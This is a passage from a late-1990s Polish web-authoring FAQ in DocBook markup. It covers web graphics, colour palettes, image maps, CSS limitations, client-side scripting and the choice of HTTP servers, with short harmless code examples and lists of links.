<PARA><ULINK URL="http://www.htmlhelp.com/design/imageuse.htm#jpgvsgif" ROLE="htmlurl">JPEG -vs- GIF?</ULINK>
@ HTMLhelp.com</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.ora.com/centers/gff/gff-faq/gff-faq1.htm" ROLE="htmlurl">Graphics File Formats FAQ</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.w3.org/Graphics/" ROLE="htmlurl">Graphics formats for the World Wide Web @ W3C</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.ora.com/catalog/gffcd/" ROLE="htmlurl">Encyclopedia of Graphics File Formats</ULINK>
James D. Murray &amp; William van Ryper 2nd Edition May 1996</PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT2>
</SECT1>
<SECT1 ID="COLOR">
<TITLE>Paleta kolorów</TITLE>
<PARA>Różnorodność sprzętowa u odbiorców tworzonych przez nas stron
może być przekleństwem. Pomijam tutaj problem tworzenia ,,pod
rozdzielczość''. Istotniejszy, choć nie zauważany jest fakt różnic w
interpretacji 8bit koloru (256 odcieni) przez
<PRODUCTNAME CLASS="TRADE">MS Windows (TM)</PRODUCTNAME>
i
<PRODUCTNAME CLASS="TRADE">i MacOS (TM)</PRODUCTNAME>
Mają one wspólnych jedynie 216 barw (przy czym tylko 136 jest dostępnych
poprzez nazwy w palecie
<PRODUCTNAME CLASS="TRADE">Netscape Navigator</PRODUCTNAME>
.</PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA>Lynda Weinman. Designing Web Graphics.2, New Riders, (1996).</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.whatis.com/216color.htm" ROLE="htmlurl">216 safe-browser colors</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.w3.org/Graphics/Color/sRGB" ROLE="htmlurl">``A Standard Default color Space for the Internet''</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.pomoc.art.pl/kolor/index.html" ROLE="htmlurl">``KOLOROWA'' część - pomoc.art.pl</ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT1>
<SECT1 ID="GRAFIKA-UMIESZCZANIE">
<TITLE>Zasady umieszczania grafiki</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA>Pamiętaj o tym by nie zamieszczać na stronie startowej wielkich
(tj. razem powyżej 20 KB) elementów graficznych. Możesz tym odstraszyć
(wolne/przepełnione  łącza) odbiorców pracujących na łączach o niskiej przepustowości.</PARA>
</LISTITEM>
<LISTITEM>
<PARA>Pamiętaj o atrybucie ALT elementu
<SGMLTAG>IMG</SGMLTAG>
(alternatywny tekst używany, gdy grafika nie może być wyświetlona) ---
jest on obowiązkowy w
<LINK LINKEND="HTML4">HTML 4.0.
.</LINK>
Jednak nie należy popadać w przesadę: gdy używasz grafik tylko do 
elementów dekoracyjnych zamiast pisać ,,czerwona kropka'' wstaw np.
<SGMLTAG>ALT=" "</SGMLTAG></PARA>
</LISTITEM>
<LISTITEM>
<PARA>Niech grafiki stanowią drobne urozmaicenie tekstu, immanentną całość
jako ilustracje a nie jakość samą w sobie:
<EMPHASIS>Patrzcie co potrafię zrobić PhotoShopem</EMPHASIS></PARA>
</LISTITEM>
<LISTITEM>
<PARA>Staraj się nie robić grafik zawierających napisy.
A
może ktoś to będzie chciał obejrzeć na 21 calowym monitorze. Pomijając fakt, że taka praktyka
uniemożliwia
normalne indeksowanie takich napisów --- niektóre roboty nie czytają
nawet tego co jest zamieszczone jako
<SGMLTAG>ALT.</SGMLTAG></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://www.w3.org/TR/WD-WAI-PAGEAUTH#Images and Image maps" ROLE="htmlurl">WAI Accessibility Guidelines: Page Authoring</ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT1>
<SECT1 ID="GRAFIKA-SPEC">
<TITLE ID="GRAFIKA-JTZ">Jak To Zrobić?</TITLE>
<PARA></PARA>
<SECT2 ID="GRAFIKA-SPEC-PRZEZROCZYSTE">
<TITLE>,,Przeźroczyste grafiki''</TITLE>
<PARA>Aby przygotować przeźroczyste grafiki, tj. w kolorze dowolnie
definiowanego tła lub podkładu, należy zapamiętać je w formacie
<PRODUCTNAME CLASS="TRADE">GIF 89a.</PRODUCTNAME>
Jest to opcja dostępna w prawie wszystkich aktualnie wydawanych programach graficznych</PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:
:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://www.mit.edu:8001/transweb.html" ROLE="htmlurl">zdalna konwersja GIFów do przeźroczystych</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.put.poznan.pl/hypertext/Internet/faq/t-gif/transparent.html" ROLE="htmlurl">Transparent/Interlaced GIF Resources</ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT2>
<SECT2 ID="GRAFIKA-SPEC-ANIMACJE">
<TITLE>Animacje</TITLE>
<PARA>Więcej informacji na stronie:
<ULINK URL="http://www.webreference.com/authoring/graphics/animation.html" ROLE="htmlurl">Animated GIF Resources.</ULINK>
Do tworzenia animowanych rysunków mogą służyć:
<ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://www.mindworkshop.com/alchemy/gifcon.html" ROLE="htmlurl">Gif Construction Set dla Windows</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.barentsnett.no/webpaint/" ROLE="htmlurl">WebPaint - shareware dla W95</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><COMMAND MOREINFO="NONE">animate (1) </COMMAND>
z
<ULINK URL="http://www.wizards.dupont.com/cristy/ImageMagick.html" ROLE="htmlurl">ImageMagick</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.gimp.org/" ROLE="htmlurl">gimp </ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.tu-chemnitz.de/%E7sos/GIFMERGE/index.html" ROLE="htmlurl">GifMerge dla UNIXa</ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</SECT2>
<SECT2 ID="IMAGEMAPS">
<TITLE>Mapy graficzne</TITLE>
<PARA><PRODUCTNAME CLASS="TRADE">Imagemap</PRODUCTNAME>
jest specyficzną formą odnośnika ukrytego pod obrazkiem.
Klikając w daną część obrazu można wybrać odpowiadający mu odnośnik.
Istnieją dwie formy
<FOREIGNPHRASE>imagemap:</FOREIGNPHRASE>
<SIMPLELIST TYPE="VERT">
<MEMBER>zlokalizowane na serwerze (i obsługiwane przez skrypty CGI)
<ULINK URL="http://www.w3.org/TR/REC-html40/struct/objects.html#didx-server-side_image_map" ROLE="htmlurl">Server-side image maps</ULINK></MEMBER>
<MEMBER>zlokalizowane po stronie klienta
---
<ULINK URL="http://www.w3.org/TR/REC-html40/struct/objects.html#didx-client-side_image_map" ROLE="htmlurl"><FOREIGNPHRASE>Client-side image maps</FOREIGNPHRASE></ULINK></MEMBER>
</SIMPLELIST>
W większość przeglądarek pozwala na używanie obu typów (praktycznie wszystkie graficzne i
<PRODUCTNAME CLASS="TRADE">Lynx</PRODUCTNAME>
(przy czym lepiej sobie radzi z tymi zlokalizowanymi po stronie klienta)) wykorzystując jako podkład tak tak
<LINK LINKEND="GIF">GIFy</LINK>
jak i
<LINK LINKEND="JPEG">JPEG</LINK>
oraz (nowsze przeglądarki)
<LINK LINKEND="PNG">PNG</LINK>
.
Mapy mogą być tworzone ręcznie (ze żmudnym wyliczaniem koordynatów poszczególnych odnośników) bądź przy pomocy jednego z dedykowanych do tego celu narzędzi:
<ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://www.boutell.com/mapedit/" ROLE="htmlurl">Mapedit</ULINK>
tak dla Win16, Win32 jak i X.
.</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.cris.com/%E7automata/hotspots.shtml" ROLE="htmlurl">Web Hotspots </ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA> 
<ULINK URL="http://tucows.icm.edu.pl/imapnt.html" ROLE="htmlurl">Image Mappers @ Tucows </ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://www.ihip.com/" ROLE="htmlurl">Imagemap Help Page - IHiP</ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT2>
</SECT1>
</CHAPTER>
<CHAPTER ID="STEROWANIE">
<TITLE>Sterowanie wyglądem i stylem</TITLE>
<PARA>_</PARA>
<SECT1 ID="CSS-PIX" REVISION="toto">
<TITLE>Dokładność pozycjonowania</TITLE>
<HIGHLIGHTS>
<SIMPARA>Czy jest możliwe sterowanie wyglądem z dokładnością do pixela?</SIMPARA>
</HIGHLIGHTS>
<PARA>Generalnie odpowiedź na tak postawione pytanie brzmi:
<EMPHASIS>nie</EMPHASIS>
Są co prawda firmy które coś podobnego obiecują... Lecz kłamią. W
chwili obecnej jest to niemożliwe. Przynajmniej przy użyciu HTML/XMLa
i technologii pokrewnych. Wysoką jakość typograficzną jest natomiast w
stanie zapewnić
<LINK LINKEND="POSTSCRIPT">PostScript</LINK>
i oparty na nim
<LINK LINKEND="PDF">PDF</LINK>
(lecz wtedy i tak należy zamieścić alternatywną, HTMLową wersję
dokumentu). W przyszłości, o ile firmy tworzące oprogramowanie
zaimplementują odpowiednie specyfikacje sytuacja może się zmienić. Te
specyfikacje to:
<ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://www.w3.org/TR/REC-CSS2" ROLE="htmlurl">CSS2</ULINK>
(wraz z CSS Positioning --- w tej chwili najbliższy (z wymienionych)
realizacji --- być może już w wersjach 5.x przeglądarek
Netscape i Microsoftu)</PARA>
</LISTITEM>
<LISTITEM>
<PARA><LINK LINKEND="XSL">XSL</LINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.w3.org/Submission/1998/06/" ROLE="html"><PRODUCTNAME CLASS="TRADE">Precision Graphics Markup Language (PGML)</PRODUCTNAME></ULINK>
Adobe Systems Incorporated, International Business Machines Corporation,
Netscape Communications Corporation and Sun Microsystems, Inc., 03
April 1998</PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
<PARA>Choć, zważywszy na nacisk jaki przykłada się do niezależności przekazu
od jego formy myślę że będzie to nie ziszczlane .</PARA>
</SECT1>
<SECT1 ID="ROZDZIELCZOSC">
<TITLE>Założenia co do rozdzielczość i ilość kolorów</TITLE>
<HIGHLIGHTS>
<SIMPARA>Czy jest sens tworzyć prezentacje wymagające określonej rozdzielczości lub gamy kolorów?</SIMPARA>
</HIGHLIGHTS>
<FORMALPARA>
<TITLE>Nie</TITLE>
<PARA>Chyba, że chcemy radykalnie ograniczyć sobie liczbę
odbiorców. Niezależnie, od tego jaka jest najpopularniejsza, ,,robocza''
rozdzielczość ekranu naszych odbiorców musimy być przygotowani na
wszelkie niestandardowości, np. kogoś kto siedzi przy wielkim (np. 21")
monitorze stacji roboczej HP, albo przy palmtopie, czy starym monitorze
VGA. 800x600 jest chyba najpopularniejszą  obecnie rozdzielczością. Ale sporo
sieci biurowych (dla unifikacji) stosuje np. 640x480. A z drugiej strony (o ile nie wydajemy ,,sieciowego dziennika'', z niedostępnymi archiwami) nie wiadomo jakich rozdzielczośći będzie się używać za parę lat (może te ozobne napisy będą się w niej przezentowały jak mały maczek).</PARA>
</FORMALPARA>
<PARA>Warto pamiętać o tym, że niezależnie od wielkości ekranu wielkość plamki
obrazu pozostaje (w przybliżeniu) taka sama.</PARA>
<PARA>Kolejnym problemem jest ilość wykorzystywanych kolorów. Tutaj, nie jest to, tak jak w wypadku
,,pisania pod rozdzielczość'' kwestia manipulowania wielkością obrazu (czyli czymś co
relatywnie łatwo można zmienić). Pojawia się problem testowania ,,aplikacji'' w niecodziennych warunkach, np.
czarnobiały monitor, lub 16 kolorów. Oczywiście traci się wtedy część informacji. Problemem jest takie
wysterowanie by mimo wszystko informacje były czytelne.</PARA>
</SECT1>
<SECT1 ID="CSS-WYDRUKU">
<TITLE>Wydruki</TITLE>
<PARA></PARA>
<HIGHLIGHTS>
<PARA>Jak poprawić jakość wydruków?</PARA>
</HIGHLIGHTS>
<PARA>Należy napisać dedykowany wydrukom arkusz CSS. Uwzględniający lokalne
tradycje typograficzne. Tylko, że chyba żaden z dostępnych w tej chwili programów nie potrafi tego wykorzystać. ;-(((</PARA>
<PARA>Albo należy równolegle z HTMLem (stosowanym dla
przeszukiwania, szybkości serwowania) generować PDFową lub RTF wersję dokumentów--- to drugie jest możliwe z użyciem
<ULINK URL="http://sunsite.icm.edu.pl/pub/sun/standards/dsssl/stylesheets/html3_2/" ROLE="htmlurl">arkuszy DSSSL dla HTMLa</ULINK>
autorstwa Johna Bosaka</PARA>
<PARA>Jeszcze innym rozwiązaniem (co prawda adresowanym jak rozumiem nie do autorów a do odbiorców) 
jest używanie technologii 
<ULINK URL="http://www.hp.com/go/webprintsmart" ROLE="htmlurl">Smart WebPrint</ULINK>
opracowanej przez Hewlett-Packard</PARA>
<PARA>W tej chwili większość materiałów prezentowanych on-line
marnie prezentuje się na papierze (i na odwrót). Typografia komputerowa
praktycznie nie istnieje, a jeśli ktoś się nią (przynajmniej w Polsce) zajmuje to nie jako
w oderwaniu od tej, typowej, przeznaczonej do prezentacji papierowych.</PARA>
</SECT1>
<SECT1 ID="CSS-OGRANICZENIA">
<TITLE>Mocne strony i ograniczenia CSS</TITLE>
<PARA>CSS jest jednym z elementów przebudowy pajęczyny. Pozwala, przede wszystkim, rozdzielić strukturę dokumentu, jego treść od formy przekazu: czym innym są (inna rzecz, że w wypadku HTMLa bardzo słabo rozwinięte) znaczniki decydujące o odbiorze przekazu, a czymś innym elementy nadające im nowy wygląd i brzmienie. CSS został pomyślany jako uniwersalny system
styli: jego wykorzystanie jest planowane tak z HTMLem jak i XML i innymi możliwymi językami znakowania.</PARA>
<PARA>Do podstawowych problemów związanych z CSS należy niepełna, by nie napisać szczątkowa implementacja.
Jedynie część specyfikacji jest realizowana przez dostępne przeglądarki. Sporo z tego co zostało zrealizowane
działa inaczej niż w specyfikacjach. Np. powszechnie nie realizowanym jest
<FOREIGNPHRASE>CSS property</FOREIGNPHRASE>
<COMMAND MOREINFO="NONE">first-line</COMMAND>
(bardzo przydatny w polskich warunkach --- jeśli chcemy naśladować ,,papierową'' typografię wręcz
niezbędny --- w tej chwili zastępowany przez znaki spacji ``&amp;amp;nbsp;'' na początku akapitów).</PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://www.w3.org/Style/CSS/Test/" ROLE="htmlurl">CSS1 Test Suite @ W3C</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://style.webreview.com/" ROLE="htmlurl">Style @ WebReview</ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT1>
<SECT1 ID="CSS-HOWTO">
<TITLE>Jak To Zrobić?</TITLE>
<PARA></PARA>
<FORMALPARA ID="CSS-HOWTO-UKRYC">
<TITLE>ukryć fragment tekstu</TITLE>
<PARA><EXAMPLE>
<TITLE></TITLE>
<PROGRAMLISTING FORMAT="LINESPECIFIC">[...] &lt;
STYLE&lt;
 .ukryty { display: none; color: white; }
[...] &lt;
/STYLE&lt;
 [...] &lt;
SPAN CLASS=ukryty&lt;
 Ta strona używa CSS
--- niestety twoja przeglądarka nie ma tej opcji aktywnej więc możesz
nie zobaczyć części ozdobników. &lt;
/SPAN&lt;

</PROGRAMLISTING>
</EXAMPLE></PARA>
</FORMALPARA>
<FORMALPARA ID="CSS-HOWTO-PODKRESLENIA-OUT">
<TITLE>spowodować, że nie będzie podkreśleń w odnośnikach</TITLE>
<PARA><EXAMPLE>
<TITLE></TITLE>
<PROGRAMLISTING FORMAT="LINESPECIFIC">[...] &lt;
STYLE&lt;
 A { decoration: none; } [...] &lt;
/STYLE&lt;
 [...]</PROGRAMLISTING>
</EXAMPLE></PARA>
</FORMALPARA>
</SECT1>
</CHAPTER>
<CHAPTER ID="INTERACJA-U-KLIENTA">
<TITLE ID="KLIENT-EXEC">Interakcja po stronie klienta</TITLE>
<PARA>_</PARA>
<SECT1 ID="INTERAKT-PO-CO">
<TITLE>Czy stosować programy wykonywane po stronie klienta?</TITLE>
<PARA>Jest wiele argumentów za tym by tego nie robić. Począwszy od ograniczania
liczby odbiorców naszych informacji (czy to z powodu używania nie
obsługującego ich oprogramowania, czy z wyłączenia odpowiednich
opcji), poprzez zwiększania stopnia skomplikowania  aplikacji do... W
pewnych sytuacja mają jednak zastosowanie...
<SIMPLELIST TYPE="VERT">
<MEMBER>programy mające działać niezależnie od stanu sieci</MEMBER>
<MEMBER>dane zmieniające się dynamicznie w zależności od wyborów klienta (nie
wpływające jednak na stan wzajemnych relacji klient-serwer)</MEMBER>
</SIMPLELIST>
Trzeba jednak przeprowadzić rachunek czy inwestycje związane z
kosztami budowy i utrzymania oprogramowania działającego w kompletnie
nieprzewidywalnym środowisku (jakim jest (położona być może gdzieś daleko,
na słabym łączu) stacja klienta, z przeglądarką o nieznanych parametrach)
są równoważone przez efekt jaki można osiągnąć... W większości znanych
mi wypadków NIE (po prostu większość znanych mi aplikacji to rozmaite
zegarki, skaczące okienka, i inne ,,bajery''). Kolejnym problemem jest nie do
końca opracowany model
interakcji programów osadzonych w kodzie HTML/XML w strukturę dokumentu, w sposób jego analizy
przez przeglądarkę
(jest to jedna z przyczyn niekompatybilności rozmaitych wersji języków skryptowych).</PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><LINK LINKEND="DOM">DOM</LINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT1>
<SECT1 ID="STATYCZNE-DYNAMICZNE">
<TITLE>Statyczne --- dynamiczne</TITLE>
<PARA>Często w opisie zjawisk towarzyszących rozwojowy pajęczyny stosuje
się opozycję:
<EMPHASIS>statyczne</EMPHASIS>
strony ,,informacyjne'' (które dla większości recenzentów są
,,przestarzałe'') kontra
<EMPHASIS>dynamiczne</EMPHASIS>
,,prezentacje'' zawierające animacje (czy to w formie ikon czy większych
form), przesuwające się napisy i inne ,,gadżety''. Czasem niektórzy
napomykają o dynamicznym generowaniu stron na podstawie zawartości
baz danych, zmieniających się warunków (np. czasu). Wydaje się, że
tego typu rozróżnienia są bezsensowne. Ważniejszy dla odbiorcy jest
(chyba?) przejrzysty interface, aktualność i kompletność prezentowanej
informacji niż to jakie efekty graficzne zobaczy.</PARA>
</SECT1>
<SECT1 ID="DHTML-JTZ">
<TITLE>Jak To Zrobić?</TITLE>
<PARA></PARA>
<SECT2 ID="JSCRIPT-LICZNIK">
<TITLE>licznik odwiedzin</TITLE>
<PARA>Nie da się. Po chwili zastanowienia przyznasz rację, że niemożliwe
jest napisanie programu który działając po stronie klienta pisze (bez
zezwolenia na metodę
<SYSTEMITEM MOREINFO="NONE">PUT</SYSTEMITEM>
) na serwerze lub bez programu wykonywanego przez serwer...</PARA>
</SECT2>
<SECT2 ID="ROZPOZNIE-PRZEGLADARKI-W-JS">
<TITLE>rozpoznanie przeglądarki</TITLE>
<PARA>Generalnie (w wypadku JavaScript polega to na testowaniu własności obiektu
<STRUCTNAME>navigator</STRUCTNAME>
Na przykład
<EXAMPLE>
<TITLE>Przykład rozpoznania jaka to wersja przeglądarki</TITLE>
<PROGRAMLISTING FORMAT="LINESPECIFIC">&lt;

HTML&gt;
&lt;
HEAD&gt;
if(navigator.app.Version.substring="MSIE"){window.location="dla_MSIE.html"}</PROGRAMLISTING>
</EXAMPLE></PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA>Danny Goodman
<ULINK URL="http://developer.netscape.com/viewsource/goodman_javascript.html" ROLE="htmlurl">DETECTING A JAVASCRIPT CLIENT</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://developer.netscape.com/docs/examples/javascript/browser_type.html" ROLE="htmlurl">The Ultimate JavaScript Client Sniffer: Determining Browser Vendor, Version, And Operating System With JavaScript</ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT2>
<SECT2 ID="WIELKOSC-OKNA">
<TITLE>rozpoznanie wielkości okna</TITLE>
<PARA>Do rozpoznania wielkości okna przeglądarki (co wbrew pozorom nie równa się rozdzielczości ekranu ;-)
służą obiekty:
<STRUCTNAME>document.body.client.Width</STRUCTNAME>
oraz
<STRUCTNAME>document.body.client.Height</STRUCTNAME></PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA>Janusz Gerszberg ,,Optymalizacja pierwszej strony www'' (w:)
<ULINK URL="http://www.software.com/" ROLE="htmlurl">Internet Developer 4/98</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT2>
</SECT1>
</CHAPTER>
<CHAPTER ID="SERWERY">
<TITLE>Serwery</TITLE>
<PARA>_</PARA>
<SECT1 ID="SERWERY-DOSTEPNE">
<TITLE>Dostępne serwery HTTP/WWW</TITLE>
<FORMALPARA>
<TITLE>Jakie serwery są dostępne? I który wybrać?</TITLE>
<PARA ID="SERWERY-WYBOR"></PARA>
</FORMALPARA>
<PARA>Pytanie rzeka... najlepiej spojrzeć na stronę
<ULINK URL="http://webcompare.internet.com/" ROLE="htmlurl">WebCompare</ULINK>
gdzie opisano (i porównano według przeróżnych kryteriów) większość
dostępnych serwerów WWW.</PARA>
<PARA>Ja osobiście (do prostego serwowania po HTTP) używałem
<ULINK URL="http://www.boa.org/" ROLE="htmlurl">boa</ULINK>
--- małego, taniego (GNU) serwera autorstwa Paula Phillipsa (za to
pozbawionego wielu przydatnych --- choć czasem niebezpiecznych --- opcji:
<LINK LINKEND="SSI">SSI</LINK>
, bezpośredniej obsługi wirtualnych serwerów (można przypisać serwer do konkretnego portu, na konkretnym interface).
Podobnymi parametrami użytkowymi charakteryzuje się
<ULINK URL="http://www.stack.nl/%E7sven/xs-httpd/" ROLE="htmlurl">XS-httpd</ULINK></PARA>
<PARA>Do poważniejszych zadań
używam
<ULINK URL="http://SunSite.ICM.edu.pl/pub/www/apache/" ROLE="htmlurl">Apache</ULINK>
--- potężne narzędzie, z dość łatwą
integracją z bazami danych (dzięki
<LINK LINKEND="PHP">PHP</LINK>
, embed perl lub mSQL-WWW).
<ULINK URL="http://www.netcraft.com/Survey/" ROLE="htmlurl">Netcraft</ULINK>
donosi, że Apache stanowi (czerwiec 1998) niemal 50% z 2.5 miliona
przebadanych serwerów HTTPd --- a następny zespół programistów, Microsoft,
ma 20% udziałów w rynku ;-). A potencjalne niebezpieczeństwa ataku na
system (choć do tej pory odkryto raczej błędy typu
<APPLICATION MOREINFO="NONE">Denial of Service</APPLICATION>
--- uniemożliwienia  działania) można zwalczać przez zainstalowanie
,,wrapperów'' i ścian ognia. (wersje &lt;
= 1.2. --- działają w trybie HTTP/1.1)</PARA>
<PARA>Wartym uwagi produktem jest napisany przez zespół z
<ULINK URL="http://www.w3.org/pub/WWW/" ROLE="htmlurl">W3C</ULINK>
serwer
<ULINK URL="http://www.w3.org/pub/WWW/Jigsaw/" ROLE="htmlurl">Jigsaw</ULINK>
(w Javie --- więc naprawdę wieloplatformowy, choć niestety dość powolny)</PARA>
<PARA>Ciekawym programem jest
<ULINK URL="http://hopf.math.nwu.edu/" ROLE="htmlurl">WM</ULINK>
pozwalający wyeliminować specjalizowane skrypty CGI służące przeszukiwaniu
czy liczeniu dostępów.</PARA>
<PARA>Ci którzy używają w swojej sieci
<ULINK URL="http://www.Novell.com.pl/" ROLE="htmlurl">jakieś odmiany Novella</ULINK>
powinni przyjrzeć się serwerowi
<ULINK URL="http://www.cpu.lublin.pl/yawn/" ROLE="htmlurl">YAWN</ULINK>
napisanemu w Lublinie przez
<ULINK URL="mailto:artur@golem.umcs.lublin.pl" ROLE="mailto">Artura Urbanowicza</ULINK>
(a pozostali powinni to zobaczyć, choćby dla dokumentacji)</PARA>
<PARA>Jeśli coś nas zmusza do używania platformy
<APPLICATION MOREINFO="NONE">Win32</APPLICATION>
z dostępnych ,,za darmo'' produktów polecałbym
<ULINK URL="http://www.sambar.com/" ROLE="htmlurl">Sambar WebServer</ULINK></PARA>
<PARA>Są wreszcie tacy, którzy lubią płacić za... coś co mogą otrzymać niemal
za darmo... Lub potrzebują specyficznych własności oferowanych tylko
przez tych producentów. Tym polecam ( ;-)))) ) produkty firm:
<ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://www.microsoft.com/poland/" ROLE="htmlurl">Microsoft</ULINK>
--- gdy mowa o serwerach mamy do wyboru
<PRODUCTNAME CLASS="TRADE">Personal Web Serwer</PRODUCTNAME>
przeznaczony bardziej do testowania stron pisanych przy pomocy
<PRODUCTNAME CLASS="TRADE">FrontPage</PRODUCTNAME>
niż do normalnej pracy albo
<PRODUCTNAME CLASS="TRADE">Internet Information Serwer</PRODUCTNAME>
(wraz
<PRODUCTNAME CLASS="TRADE">MS Index Serwer</PRODUCTNAME>
i
<PRODUCTNAME CLASS="TRADE">MS Site Serwer</PRODUCTNAME>
oraz
<PRODUCTNAME CLASS="TRADE">MS SQL Server)</PRODUCTNAME>
stanowiący dość rozbudowaną bazę pod ,,aplikacje intranetowe''. Od wersji
4.0. nadaje się chyba nawet do używania.</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://home.netscape.com/" ROLE="html">Netscape Communication</ULINK>
z
<PRODUCTNAME CLASS="TRADE">Netscape FastTrack</PRODUCTNAME>
będącym całkiem prostym serwerem bez wyszukanych możliwości lub
<PRODUCTNAME CLASS="TRADE"><ULINK URL="http://home.netscape.com/products/" ROLE="htmlurl">Netscape Enterprise Server</ULINK></PRODUCTNAME></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.lotus.com/" ROLE="html">Lotus/IBM</ULINK>
i
<PRODUCTNAME CLASS="TRADE">Lotus Notes</PRODUCTNAME>
wraz serwerem HTTP
<PRODUCTNAME CLASS="TRADE">Domino</PRODUCTNAME></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://webcompare.internet.com/" ROLE="htmlurl">Internet.com's WebCompare</ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT1>
<SECT1 ID="SYSTEM-DLA-HTTPD">
<TITLE>Jaką platformę sprzętowo-systemową wybrać?</TITLE>
<PARA><EMPHASIS>Nie Unixa, nie MacIntosha, nie MS Windows, a tę na której się najlepiej
znasz i której ufasz...</EMPHASIS>
Ważne przy tym by była to platforma stabilna (tj. żeby serwer WWW
był dostępny co najmniej przez 23.5 godziny na dobę ;-) i spełniająca
Twoje wymagania odnośnie poziomu bezpieczeństwa, dostępnych narzędzi
programistycznych i dostępności Przy czym w
<ULINK URL="http://www.rm.com.pl/rm/bwui.htm" ROLE="htmlurl">,,Bezpieczeństwo w Unixie i Internecie''</ULINK>
można się spotkać
z sugestią, że warto rozpatrzyć postawienie serwera HTTP na Macu (jako
dysponującym z założenia mniejszą ilością usług, mniej znanym i używanym
--- a więc trudniejszym do złamania)</PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://www.webcompare.com/" ROLE="htmlurl">Internet.com's WebCompare</ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT1>
<SECT1 ID="SERWERY-BLEDY">
<TITLE>Obsługa błędów</TITLE>
<PARA>O klasie danego serwisu (serwera) decyduje nie tylko to jakie usługi
proponuje, ale także to jak sobie radzi z sytuacjami nietypowymi ---
czy gdy użytkownik źle wpisze adres krzyczy na niego
<COMPUTEROUTPUT MOREINFO="NONE">Bad URL,</COMPUTEROUTPUT>
czy też stwierdza:
<COMPUTEROUTPUT MOREINFO="NONE">Chyba się pomyliłeś. Masz oto skrócony spis mojej zawartości, i
wybierz proszę, to czego szukałeś. Możesz także skorzystać z moich
usług wyszukiwawczych</COMPUTEROUTPUT></PARA>
<PARA>Sposób reakcji na najbardziej podstawowe błędy (typu
<LITERAL MOREINFO="NONE">404: file not found</LITERAL>
lub
<LITERAL MOREINFO="NONE">403: Forbiden</LITERAL>
można ustawić w pliku
<LITERAL MOREINFO="NONE">srm.conf</LITERAL>
(w rodzinie serwerów z NSCA).</PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
